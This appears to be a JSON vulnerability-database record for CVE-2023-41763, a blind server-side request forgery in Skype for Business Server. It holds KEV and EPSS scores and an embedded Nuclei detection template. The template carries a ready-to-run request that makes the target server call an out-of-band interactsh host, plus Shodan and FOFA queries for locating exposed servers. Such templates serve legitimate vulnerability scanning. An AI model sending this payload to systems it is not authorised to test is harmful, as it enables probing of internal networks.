{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-41763/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-41763/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-41763/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-41763/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-41763/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-41763"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-41763"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.90353,
      "kev": true,
      "percentile": 0.99794
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2023/CVE-2023-41763.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2023-41763\n\ninfo:\n  name: Skype for Business 2019 (SfB) - Blind Server-side Request Forgery\n  author: hateshape\n  severity: medium\n  description: |\n    Skype Pre-Auth Server-side Request Forgery (SSRF) vulnerability\n  impact: |\n    Unauthenticated attackers can exploit blind SSRF vulnerabilities through the meeturl parameter to make the Skype for Business server probe internal network resources, potentially discovering internal services and infrastructure topology.\n  remediation: |\n    Apply Microsoft security patches for Skype for Business Server 2015 and 2019 that validate and restrict URL parameters in the LwaClient.aspx endpoint.\n  reference:\n    - https://frycos.github.io/vulns4free/2022/09/26/skype-audit-part2.html\n    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-41763\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-41763\n    - https://github.com/Ostorlab/KEV\n    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N\n    cvss-score: 5.3\n    cve-id: CVE-2023-41763\n    epss-score: 0.90353\n    epss-percentile: 0.99794\n    cpe: cpe:2.3:a:microsoft:skype_for_business_server:2015:cumulative_update_13:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: microsoft\n    product: skype_for_business_server\n    shodan-query:\n      - html:\"Skype for Business\"\n      - http.html:\"skype for business\"\n    fofa-query: body=\"skype for business\"\n  tags: cve,cve2023,skype,blind-ssrf,oast,ssrf,kev,microsoft,vkev,vuln\nvariables:\n  ssrfpayload: \"http://{{interactsh-url}}/?id={{rand_base(3)}}%25{1337*1337}#.xx//\"\n\nhttp:\n  - raw:\n      - |\n        GET /lwa/Webpages/LwaClient.aspx?meeturl={{base64(ssrfpayload)}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - 'Skype'\n# digest: 4b0a00483046022100d76edc95d9d0f47cc66fbd22a67df41844fe6d29f8726c32d44b531b281ceaf9022100a123bff66bfb94f6f7a5ab278cbde5fe0eb829359887be6e5a1e450bfda2d215:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2023-41763"
}